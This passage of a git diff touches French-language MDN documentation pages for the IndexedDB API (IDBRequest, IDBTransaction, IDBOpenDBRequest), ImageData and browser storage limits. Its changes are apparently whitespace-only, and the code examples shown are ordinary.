terminée.</li>'; }; - // en cas d'échec de l'ouverture de la transaction + // en cas d'échec de l'ouverture de la transaction transaction.onerror = function(event) { note.innerHTML += '<li>L\'erreur: "' + transaction.error +'" c\'est produite échec de la transaction.</li>'; }; @@ -76,7 +76,7 @@ function addData() { | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | ----------- | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-transaction', 'transaction')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-transaction', 'transaction')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbopendbrequest/index.md b/files/fr/web/api/idbopendbrequest/index.md index 303e640f91..3a87aa54b5 100644 --- a/files/fr/web/api/idbopendbrequest/index.md +++ b/files/fr/web/api/idbopendbrequest/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/IDBOpenDBRequest --- {{APIRef("IndexedDB")}} -L'interface **`IDBOpenDBRequest`** de l'API IndexedDB donne un accès aux résultats des requêtes permettant d'ouvrir ou de supprimer des bases de donnée (Effectuée via {{domxref("IDBFactory.open")}} et {{domxref("IDBFactory.deleteDatabase")}}). +L'interface **`IDBOpenDBRequest`** de l'API IndexedDB donne un accès aux résultats des requêtes permettant d'ouvrir ou de supprimer des bases de donnée (Effectuée via {{domxref("IDBFactory.open")}} et {{domxref("IDBFactory.deleteDatabase")}}). {{AvailableInWorkers}} @@ -21,7 +21,7 @@ L'interface **`IDBOpenDBRequest`** de l'API IndexedDB donne un accès aux rés ## Propriétés -_Hérite des méthodes de ses parents {{domxref("IDBRequest")}} et {{domxref("EventTarget")}}_. +_Hérite des méthodes de ses parents {{domxref("IDBRequest")}} et {{domxref("EventTarget")}}_. ### Évènements @@ -32,11 +32,11 @@ _Hérite des méthodes de ses parents {{domxref("IDBRequest")}} et {{domxref( ## Méthodes -_Pas de méthodes, mais hérite des méthodes de ses parents {{domxref("IDBRequest")}} et {{domxref("EventTarget")}}._ +_Pas de méthodes, mais hérite des méthodes de ses parents {{domxref("IDBRequest")}} et {{domxref("EventTarget")}}._ ## Exemple -Dans l'exemple ci-dessous, le gestionnaire `onupgradeneeded` est utilisé pour mettre à jour la structure de la base de données, si une base plus récente est chargée. Pour voir un exemple complet, référez-vous à notre application [To-do Notifications](https://github.com/mdn/to-do-notifications/tree/gh-pages) ([voir cet exemple réel](http://mdn.github.io/to-do-notifications/)) +Dans l'exemple ci-dessous, le gestionnaire `onupgradeneeded` est utilisé pour mettre à jour la structure de la base de données, si une base plus récente est chargée. Pour voir un exemple complet, référez-vous à notre application [To-do Notifications](https://github.com/mdn/to-do-notifications/tree/gh-pages) ([voir cet exemple réel](http://mdn.github.io/to-do-notifications/)) ```js var db; @@ -77,12 +77,12 @@ DBOpenRequest.onupgradeneeded = function(event) { // définit quels éléments de données l'objet de stockage contiendra. - objectStore.createIndex("hours", "hours", { unique: false }); - objectStore.createIndex("minutes", "minutes", { unique: false }); - objectStore.createIndex("day", "day", { unique: false }); - objectStore.createIndex("month", "month", { unique: false }); - objectStore.createIndex("year", "year", { unique: false }); - objectStore.createIndex("notified", "notified", { unique: false }); + objectStore.createIndex("hours", "hours", { unique: false }); + objectStore.createIndex("minutes", "minutes", { unique: false }); + objectStore.createIndex("day", "day", { unique: false }); + objectStore.createIndex("month", "month", { unique: false }); + objectStore.createIndex("year", "year", { unique: false }); + objectStore.createIndex("notified", "notified", { unique: false }); }; ``` @@ -91,7 +91,7 @@ DBOpenRequest.onupgradeneeded = function(event) { | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | | {{SpecName('IndexedDB', '#idl-def-IDBOpenDBRequest', 'IDBOpenDBRequest')}} | {{Spec2('IndexedDB')}} | Définition initiale | -| {{SpecName("IndexedDB 2", "#idbopendbrequest", "IDBOpenDBRequest")}} | {{Spec2("IndexedDB 2")}} | | +| {{SpecName("IndexedDB 2", "#idbopendbrequest", "IDBOpenDBRequest")}} | {{Spec2("IndexedDB 2")}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbrequest/error/index.md b/files/fr/web/api/idbrequest/error/index.md index 5377fc62db..9e57814d5d 100644 --- a/files/fr/web/api/idbrequest/error/index.md +++ b/files/fr/web/api/idbrequest/error/index.md @@ -80,7 +80,7 @@ objectStoreTitleRequest.onerror = function() { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBRequest-error', 'error')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBRequest-error', 'error')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbrequest/index.md b/files/fr/web/api/idbrequest/index.md index ef33447c2f..e0a2ce05ad 100644 --- a/files/fr/web/api/idbrequest/index.md +++ b/files/fr/web/api/idbrequest/index.md @@ -18,7 +18,7 @@ L'interface **`IDBRequest`** de l'API IndexedDB donne accès par ses gestionnair Cet objet **`IDBRequest`** ne contient aucune information sur le résultat de l'opération, mais dès qu'une information est disponible un événement est déclenché. L'objet **`IDBRequest`** utilise ses gestionnaires d'événements pour le capter et mettre l'information à disposition. -Toute les opération asynchrone retourne immédiatement une instance **`IDBRequest`** avec une propriété `readyState` défini à `'pending'` qui passe à `'done'` lorsque la requête réussie ou échoue. Quand l'état passe à `done`, chaque requête retourne `result` et `error`, et un évènement est envoyé sur la requête. Quand l'état est sur `pending`, chaque accès à `result` ou `error` lève une exception `InvalidStateError`. +Toute les opération asynchrone retourne immédiatement une instance **`IDBRequest`** avec une propriété `readyState` défini à `'pending'` qui passe à `'done'` lorsque la requête réussie ou échoue. Quand l'état passe à `done`, chaque requête retourne `result` et `error`, et un évènement est envoyé sur la requête. Quand l'état est sur `pending`, chaque accès à `result` ou `error` lève une exception `InvalidStateError`. Pour faire simple, chaque méthode asynchrome retourne un objet de requête. Si l'opération réussi, le résultat est disponible dans la propriété `result` et un évènement `success` est lancé ({{domxref("IDBRequest.onsuccess")}}). Si une erreur est rencontrée, une exeption est disponible dans la propriété `error` et un évènement `error` est lancé ({{domxref("IDBRequest.onerror")}}). @@ -41,7 +41,7 @@ _Hérite des propriétés de {{domxref("EventTarget")}}._ - {{domxref("IDBRequest.transaction","transaction")}} {{readonlyInline}} - : La propriété **`transaction`** de l'interface **`IDBRequest`** renvoie la {{domxref("IDBTransaction","transaction")}} dans laquelle on fait la requête. La propriété peut renvoyer `null` si requête se fait sans transaction, comme un objet IDBRequest renvoyé par {{domxref("IDBFactory.open")}} dans ce cas on est juste connecté à la base de données. - {{domxref("IDBRequest.readyState","readyState")}} {{readonlyInline}} - - : La propriété **`readyState`** de l'interface **`IDBRequest`** renvoie l'état de la requête. Chaque requête débute avec un statut `pending` et passe au statut `done` quand la requête réussie ou échoue. + - : La propriété **`readyState`** de l'interface **`IDBRequest`** renvoie l'état de la requête. Chaque requête débute avec un statut `pending` et passe au statut `done` quand la requête réussie ou échoue. ## Méthodes diff --git a/files/fr/web/api/idbrequest/onerror/index.md b/files/fr/web/api/idbrequest/onerror/index.md index edad1a851e..391df12467 100644 --- a/files/fr/web/api/idbrequest/onerror/index.md +++ b/files/fr/web/api/idbrequest/onerror/index.md @@ -54,7 +54,7 @@ L'exemple suivant demande un titre d'enregistrement donné, `onsuccess` obtient | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------ | ---------------------------- | ----------- | -| {{SpecName('IndexedDB', '#widl-IDBRequest-onerror', 'onerror')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBRequest-onerror', 'onerror')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbrequest/onsuccess/index.md b/files/fr/web/api/idbrequest/onsuccess/index.md index 201d7b58cf..5e872bcd42 100644 --- a/files/fr/web/api/idbrequest/onsuccess/index.md +++ b/files/fr/web/api/idbrequest/onsuccess/index.md @@ -54,7 +54,7 @@ L'exemple suivant demande un titre d'enregistrement donné, `onsuccess` obtient | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | ---------------------------- | ----------- | -| {{SpecName('IndexedDB', '#widl-IDBRequest-onsuccess', 'onsuccess')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBRequest-onsuccess', 'onsuccess')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbrequest/readystate/index.md b/files/fr/web/api/idbrequest/readystate/index.md index 710868b47b..0b33b98759 100644 --- a/files/fr/web/api/idbrequest/readystate/index.md +++ b/files/fr/web/api/idbrequest/readystate/index.md @@ -66,8 +66,8 @@ objectStoreTitleRequest.onsuccess = function() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBRequest-readyState', 'readyState')}} | {{Spec2('IndexedDB')}} | | -| {{SpecName("IndexedDB 2", "#dom-idbrequest-readystate", "readyState")}} | {{Spec2("IndexedDB 2")}} | | +| {{SpecName('IndexedDB', '#widl-IDBRequest-readyState', 'readyState')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName("IndexedDB 2", "#dom-idbrequest-readystate", "readyState")}} | {{Spec2("IndexedDB 2")}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbrequest/source/index.md b/files/fr/web/api/idbrequest/source/index.md index 68ea7bf33d..d6a79a450a 100644 --- a/files/fr/web/api/idbrequest/source/index.md +++ b/files/fr/web/api/idbrequest/source/index.md @@ -23,7 +23,7 @@ La propriété **`source`** est une propriété en lecture seule, rattachée à ### Valeur -Un objet qui représente la source de la requête. Ce peut être un objet {{domxref("IDBIndex")}}, {{domxref("IDBObjectStore")}} ou un objet {{domxref("IDBCursor")}}. +Un objet qui représente la source de la requête. Ce peut être un objet {{domxref("IDBIndex")}}, {{domxref("IDBObjectStore")}} ou un objet {{domxref("IDBCursor")}}. ## Exemples @@ -67,8 +67,8 @@ objectStoreTitleRequest.onsuccess = function() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBRequest-source', 'source')}} | {{Spec2('IndexedDB')}} | | -| {{SpecName("IndexedDB 2", "#dom-idbrequest-source", "source")}} | {{Spec2("IndexedDB 2")}} | | +| {{SpecName('IndexedDB', '#widl-IDBRequest-source', 'source')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName("IndexedDB 2", "#dom-idbrequest-source", "source")}} | {{Spec2("IndexedDB 2")}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbrequest/transaction/index.md b/files/fr/web/api/idbrequest/transaction/index.md index 1bbf05d769..98e0953986 100644 --- a/files/fr/web/api/idbrequest/transaction/index.md +++ b/files/fr/web/api/idbrequest/transaction/index.md @@ -58,7 +58,7 @@ objectStoreTitleRequest.onerror = function() { }; ``` -Cet exemple montre comment la propriété **`transaction`** peut être utilisé pendant une mise à niveau de version pour accéder à des {{domxref("IDBObjectStore","magasins d'objects")}} existants: +Cet exemple montre comment la propriété **`transaction`** peut être utilisé pendant une mise à niveau de version pour accéder à des {{domxref("IDBObjectStore","magasins d'objects")}} existants: ```js var openRequest = indexedDB.open('db', 2); @@ -87,7 +87,7 @@ openRequest.onsuccess = function() { | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | ---------------------------- | ----------- | -| {{SpecName('IndexedDB', '#widl-IDBRequest-transaction', 'transaction')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBRequest-transaction', 'transaction')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbtransaction/abort/index.md b/files/fr/web/api/idbtransaction/abort/index.md index 53a6dbd6aa..ca40486ad8 100644 --- a/files/fr/web/api/idbtransaction/abort/index.md +++ b/files/fr/web/api/idbtransaction/abort/index.md @@ -89,7 +89,7 @@ function addData() { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBTransaction-abort-void', 'abort')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBTransaction-abort-void', 'abort')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbtransaction/db/index.md b/files/fr/web/api/idbtransaction/db/index.md index 3032ed9c36..1be2d0e15f 100644 --- a/files/fr/web/api/idbtransaction/db/index.md +++ b/files/fr/web/api/idbtransaction/db/index.md @@ -25,7 +25,7 @@ Une {{domxref("IDBDatabase","connexion","",1)}} à la base de données sous la f ## Exemples -Dans le fragment de code suivant, on ouvre une {{domxref("IDBDatabase","connexion","",1)}} à la base de donnée. Sur cette connexion on démarre une {{domxref("IDBTransaction","transaction","",1)}} en lecture/écriture pour {{domxref("IDBObjectStore","accéder au magasin d'objet","",1)}} `"toDoList"` et y {{domxref("IDBObjectStore.add","ajouter","",1)}} un enregistrement. Notez également les gestionnaires d'événements {{domxref("IDBTransaction.oncomplete","oncomplete")}} et {{domxref("IDBTransaction.onerror","onerror")}} de la transaction qui affichent sur la page le résultat de la transaction. +Dans le fragment de code suivant, on ouvre une {{domxref("IDBDatabase","connexion","",1)}} à la base de donnée. Sur cette connexion on démarre une {{domxref("IDBTransaction","transaction","",1)}} en lecture/écriture pour {{domxref("IDBObjectStore","accéder au magasin d'objet","",1)}} `"toDoList"` et y {{domxref("IDBObjectStore.add","ajouter","",1)}} un enregistrement. Notez également les gestionnaires d'événements {{domxref("IDBTransaction.oncomplete","oncomplete")}} et {{domxref("IDBTransaction.onerror","onerror")}} de la transaction qui affichent sur la page le résultat de la transaction. À la fin, la méthode **`db`** sert à renvoyer la connexion à la base de données associée à la transaction. @@ -55,7 +55,7 @@ function addData() { transaction.oncomplete = function(event) { note.innerHTML += '<li>Transaction complété : modification de la base de données terminée.</li>'; }; - // En cas d'échec de l'ouverture de la transaction + // En cas d'échec de l'ouverture de la transaction transaction.onerror = function(event) { note.innerHTML += '<li>Erreur transaction non ouverte, doublons interdits.</li>'; }; @@ -82,7 +82,7 @@ function addData() { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBTransaction-db', 'db')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBTransaction-db', 'db')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbtransaction/error/index.md b/files/fr/web/api/idbtransaction/error/index.md index 9684817483..6d197cba4e 100644 --- a/files/fr/web/api/idbtransaction/error/index.md +++ b/files/fr/web/api/idbtransaction/error/index.md @@ -30,7 +30,7 @@ Cette propriété vaut `null` si la transaction n'est pas terminée ou qu'elle e ## Exemples -Dans le fragment de code suivant, on ouvre une {{domxref("IDBDatabase","connexion","",1)}} à la base de donnée. Sur cette connexion on démarre une {{domxref("IDBTransaction","transaction","",1)}} en lecture/écriture pour {{domxref("IDBObjectStore","accéder au magasin d'objet","",1)}} `"toDoList"` et y {{domxref("IDBObjectStore.add","ajouter","",1)}} un enregistrement. Notez également les gestionnaires d'événements {{domxref("IDBTransaction.oncomplete","oncomplete")}} et {{domxref("IDBTransaction.onerror","onerror")}} de la transaction qui affichent sur la page le résultat de la transaction. +Dans le fragment de code suivant, on ouvre une {{domxref("IDBDatabase","connexion","",1)}} à la base de donnée. Sur cette connexion on démarre une {{domxref("IDBTransaction","transaction","",1)}} en lecture/écriture pour {{domxref("IDBObjectStore","accéder au magasin d'objet","",1)}} `"toDoList"` et y {{domxref("IDBObjectStore.add","ajouter","",1)}} un enregistrement. Notez également les gestionnaires d'événements {{domxref("IDBTransaction.oncomplete","oncomplete")}} et {{domxref("IDBTransaction.onerror","onerror")}} de la transaction qui affichent sur la page le résultat de la transaction. La propriété **`error`** sert dans le bloc `transaction.onerror = function(event) {...}` afin d'afficher le type d'erreur qui est survenue. @@ -61,7 +61,7 @@ function addData() { transaction.oncomplete = function(event) { note.innerHTML += '<li>Transaction terminée : modification de la base de données terminée.</li>'; }; - // En cas d'échec de l'ouverture de la transaction + // En cas d'échec de l'ouverture de la transaction transaction.onerror = function(event) { note.innerHTML += '<li>L\'erreur: "' + transaction.error +'" s\'est produite, échec de la transaction.</li>'; }; @@ -85,7 +85,7 @@ function addData() { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#transaction', 'IDBTransaction')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#transaction', 'IDBTransaction')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbtransaction/error_event/index.md b/files/fr/web/api/idbtransaction/error_event/index.md index b8d6a070bf..dad1332ca4 100644 --- a/files/fr/web/api/idbtransaction/error_event/index.md +++ b/files/fr/web/api/idbtransaction/error_event/index.md @@ -11,7 +11,7 @@ original_slug: Web/API/IDBDatabase/onerror --- {{APIRef("IndexedDB")}} -Le gestionnaire d'événement **`onerror`**, rattaché à l'interface `IDBDatabase`, s’exécute au déclenchement de l'événement `error` qui se produit lorsque la connexion à la base de donnée échoue. +Le gestionnaire d'événement **`onerror`**, rattaché à l'interface `IDBDatabase`, s’exécute au déclenchement de l'événement `error` qui se produit lorsque la connexion à la base de donnée échoue. {{AvailableInWorkers}} @@ -59,7 +59,7 @@ DBOpenRequest.onupgradeneeded = function(event) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBDatabase-onerror', 'onerror')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBDatabase-onerror', 'onerror')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbtransaction/index.md b/files/fr/web/api/idbtransaction/index.md index 7fc9a104d3..74d2580677 100644 --- a/files/fr/web/api/idbtransaction/index.md +++ b/files/fr/web/api/idbtransaction/index.md @@ -53,7 +53,7 @@ Cette interface hérite de {{domxref("EventTarget")}}. - {{domxref("IDBTransaction.onabort")}} {{readonlyInline}} - : Ce gestionnaire permet de gérer l'évènement `abort` qui est déclenché lorsque la transaction a été interrompue. - {{domxref("IDBTransaction.oncomplete")}} {{readonlyInline}} - - : Ce gestionnaire permet de gérer l'évènement `complete` qui est déclenché lorsque la transaction se finit correctement. + - : Ce gestionnaire permet de gérer l'évènement `complete` qui est déclenché lorsque la transaction se finit correctement. - {{domxref("IDBTransaction.onerror")}} {{readonlyInline}} - : Ce gestionnaire permet de gérer l'évènement `error` qui est déclenché lorsqu'une erreur empêche la transaction de se finir correctement. diff --git a/files/fr/web/api/idbtransaction/mode/index.md b/files/fr/web/api/idbtransaction/mode/index.md index 82da774e36..9737c77599 100644 --- a/files/fr/web/api/idbtransaction/mode/index.md +++ b/files/fr/web/api/idbtransaction/mode/index.md @@ -89,7 +89,7 @@ function addData() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBTransaction-mode', 'mode')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBTransaction-mode', 'mode')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbtransaction/objectstore/index.md b/files/fr/web/api/idbtransaction/objectstore/index.md index 2ccc74eb6c..0924e5d113 100644 --- a/files/fr/web/api/idbtransaction/objectstore/index.md +++ b/files/fr/web/api/idbtransaction/objectstore/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/IDBTransaction/objectStore La méthode **`objectStore()`**, rattachée à l'interface {{domxref("IDBTransaction")}}, renvoie l'accès à un des magasins d'objets liés à la transation sous la forme d'un objet {{domxref("IDBObjectStore")}}. -Si cette méthode est appelée plusieurs fois sur la même transaction et avec le même nom de magasin, elle renverra la même instance de {{domxref("IDBObjectStore")}}. Si cette méthode est appelée sur une autre transaction, elle renverra une instance différente. +Si cette méthode est appelée plusieurs fois sur la même transaction et avec le même nom de magasin, elle renverra la même instance de {{domxref("IDBObjectStore")}}. Si cette méthode est appelée sur une autre transaction, elle renverra une instance différente. {{AvailableInWorkers}} @@ -40,7 +40,7 @@ Un objet {{domxref("IDBObjectStore")}} qui permet d'accéder au magasin d'objets ## Exemple -Dans le code qui suit, on ouvre une connexion à la base de données. Sur cette connexion, on démarre une transaction (cf. {{domxref("IDBTransaction")}}) en lecture/écriture afin d'accéder au magasin d'objets `"toDoList"` pour y ajouter un enregistrement (via la méthode {{domxref("IDBObjectStore.add")}}). On notera également l'utilisation des gestionnaires d'événement {{domxref("IDBTransaction.oncomplete")}} et {{domxref("IDBTransaction.onerror")}} de la transaction qui permettent d'afficher la résultat de la transaction sur la page. +Dans le code qui suit, on ouvre une connexion à la base de données. Sur cette connexion, on démarre une transaction (cf. {{domxref("IDBTransaction")}}) en lecture/écriture afin d'accéder au magasin d'objets `"toDoList"` pour y ajouter un enregistrement (via la méthode {{domxref("IDBObjectStore.add")}}). On notera également l'utilisation des gestionnaires d'événement {{domxref("IDBTransaction.oncomplete")}} et {{domxref("IDBTransaction.onerror")}} de la transaction qui permettent d'afficher la résultat de la transaction sur la page. La méthode **`objectStore()`** permet d'accéder au magasin d'objets `"toDoList"`. @@ -98,7 +98,7 @@ function addData() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBTransaction-objectStore-IDBObjectStore-DOMString-name', 'objectStore()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBTransaction-objectStore-IDBObjectStore-DOMString-name', 'objectStore()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbtransaction/objectstorenames/index.md b/files/fr/web/api/idbtransaction/objectstorenames/index.md index 6525fd7eb3..e5f1980404 100644 --- a/files/fr/web/api/idbtransaction/objectstorenames/index.md +++ b/files/fr/web/api/idbtransaction/objectstorenames/index.md @@ -24,7 +24,7 @@ Une liste {{domxref("DOMStringList")}} contenant les noms des magasins d'objets | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB2', '#dom-idbtransaction-objectstorenames', 'db')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB2', '#dom-idbtransaction-objectstorenames', 'db')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/imagedata/data/index.md b/files/fr/web/api/imagedata/data/index.md index 58ac32657f..3cc3046f0a 100644 --- a/files/fr/web/api/imagedata/data/index.md +++ b/files/fr/web/api/imagedata/data/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/ImageData/data --- {{APIRef("Canvas API")}} -La propriété en lecteur seul `ImageData.data` retourne un {{jsxref("Uint8ClampedArray")}}. Il représente un tableau unidirectionnel contenant les données sous forme d'entiers inclus entre 0 et 255 dans l'ordre RGBA comme ceci : `[r1,g1,b1,a1,…,rn;gn;bn;an]`. +La propriété en lecteur seul `ImageData.data` retourne un {{jsxref("Uint8ClampedArray")}}. Il représente un tableau unidirectionnel contenant les données sous forme d'entiers inclus entre 0 et 255 dans l'ordre RGBA comme ceci : `[r1,g1,b1,a1,…,rn;gn;bn;an]`. ## Syntax @@ -22,7 +22,7 @@ imagedata.data; // Uint8ClampedArray[40000] | Specification | Status | Comment | | ------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG', 'scripting.html#dom-imagedata-data', 'ImageData.data')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', 'scripting.html#dom-imagedata-data', 'ImageData.data')}} | {{Spec2('HTML WHATWG')}} | | ## Browser compatibility diff --git a/files/fr/web/api/imagedata/index.md b/files/fr/web/api/imagedata/index.md index d87083c7a8..c671ae3f28 100644 --- a/files/fr/web/api/imagedata/index.md +++ b/files/fr/web/api/imagedata/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/ImageData --- {{APIRef("Canvas API")}} -L'interface **`ImageData`** représente les données des pixels au sein d'une certaine zone dans un élément {{HTMLElement("canvas")}}. Elle est définie par les méthodes des constructeurs ou créateurs d'objet {{domxref("ImageData.ImageData", "ImageData()")}} sur l'objet {{domxref("CanvasRenderingContext2D")}} associé à canevas, {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}} et {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}. Elle peut être également utilisée pour redéfinir une partie du canevas en utilisant {{domxref("CanvasRenderingContext2D.putImageData", "putImageData()")}}. +L'interface **`ImageData`** représente les données des pixels au sein d'une certaine zone dans un élément {{HTMLElement("canvas")}}. Elle est définie par les méthodes des constructeurs ou créateurs d'objet {{domxref("ImageData.ImageData", "ImageData()")}} sur l'objet {{domxref("CanvasRenderingContext2D")}} associé à canevas, {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}} et {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}. Elle peut être également utilisée pour redéfinir une partie du canevas en utilisant {{domxref("CanvasRenderingContext2D.putImageData", "putImageData()")}}. ## Constructeurs @@ -31,7 +31,7 @@ L'interface **`ImageData`** représente les données des pixels au sein d'une ce | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "the-canvas-element.html#imagedata", "ImageData")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "the-canvas-element.html#imagedata", "ImageData")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/index.md b/files/fr/web/api/index.md index dd3ccbf680..6a9c14cfa8 100644 --- a/files/fr/web/api/index.md +++ b/files/fr/web/api/index.md @@ -12,7 +12,7 @@ translation_of: Web/API --- Quand vous codez en JavaScript pour le web, il y a un grand nombre d'API disponibles. La liste ci-dessous énumère toutes les interfaces (types et objets) que vous pouvez appeler quand vous développez votre application web ou votre site. -Les APIs Web sont habituellement utilisés avec le JavaScript, bien que cela ne devrait pas toujours être le cas. +Les APIs Web sont habituellement utilisés avec le JavaScript, bien que cela ne devrait pas toujours être le cas. ## Spécifications diff --git a/files/fr/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.md b/files/fr/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.md index 025ba060ba..10f55e0222 100644 --- a/files/fr/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.md +++ b/files/fr/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.md @@ -23,14 +23,14 @@ Même dans le même navigateur, en utilisant la même méthode de stockage, il e Généralement, les deux principaux types de stockage sont les suivants : -- Persistant : ce sont des données qui doivent être conservées pendant une longue période. Elles ne seront évincéés que si l'utilisateur le choisit (par exemple, dans Firefox, il existe un bouton "nettoyer stockage" dans la boîte de dialogue d'informations sur la page pour chaque page). -- Temporaire : il s'agit de données qui n'ont pas besoin de persister très longtemps. Elles seront évacuées en-dessous d'un minimum d'utilisation ({{anch("LRU policy")}}) lorsque les limites de stockage sont atteintes. +- Persistant : ce sont des données qui doivent être conservées pendant une longue période. Elles ne seront évincéés que si l'utilisateur le choisit (par exemple, dans Firefox, il existe un bouton "nettoyer stockage" dans la boîte de dialogue d'informations sur la page pour chaque page). +- Temporaire : il s'agit de données qui n'ont pas besoin de persister très longtemps. Elles seront évacuées en-dessous d'un minimum d'utilisation ({{anch("LRU policy")}}) lorsque les limites de stockage sont atteintes. Par défaut, le stockage temporaire sera utilisé dans la plupart des contextes d'utilisation (par exemple, des applications Web standard) et le persistant pour les applications installées (par exemple, les applications Firefox installées sur le système d'exploitation Firefox OS / Firefox de bureau, les applications Chrome). ### Spécificités de Firefox -Dans Firefox, vous pouvez choisir le type de stockage que vous souhaitez utiliser en incluant une option propriétaire — `storage` — lorsque vous créez une base de données IndexedDB en utilisant {{domxref ("IDBFactory.open ()", "open ()")}} : +Dans Firefox, vous pouvez choisir le type de stockage que vous souhaitez utiliser en incluant une option propriétaire — `storage` — lorsque vous créez une base de données IndexedDB en utilisant {{domxref ("IDBFactory.open ()", "open ()")}} : - ```js var request = indexedDB.open("myDatabase", { version: 1, storage: "persistent" }); @@ -45,14 +45,14 @@ Les données de stockage temporaire ne provoquent aucune fenêtre de dialogue ve ### "Default storage" dans Firefox _(stockage par défaut)_ -C'est le troisième type de stockage à envisager dans Firefox — "Default storage" _(stockage par défaut)_. C'est une option par défaut, utilisée quand vous ne spécifiez pas le paramètre `storage` vu ci-dessus. Les données du stockage par défaut se comportent différemment selon les circonstances : assimilées aux données d'un stockage persistant pour les applications installées de Firefox OS, ou d'un stockage temporaire pour tout autre type d'utilisation. +C'est le troisième type de stockage à envisager dans Firefox — "Default storage" _(stockage par défaut)_. C'est une option par défaut, utilisée quand vous ne spécifiez pas le paramètre `storage` vu ci-dessus. Les données du stockage par défaut se comportent différemment selon les circonstances : assimilées aux données d'un stockage persistant pour les applications installées de Firefox OS, ou d'un stockage temporaire pour tout autre type d'utilisation. ## Où sont stockées les données ? Chaque type de stockage représente un référentiel distinct, voici la cartographie réelle des répertoires sous le profil Firefox d'un utilisateur (d'autres navigateurs peuvent différer légèrement) : - `<profile>/storage` — le principal, le plus haut niveau de répertoire pour le stockage maintenu par le " quota manager " 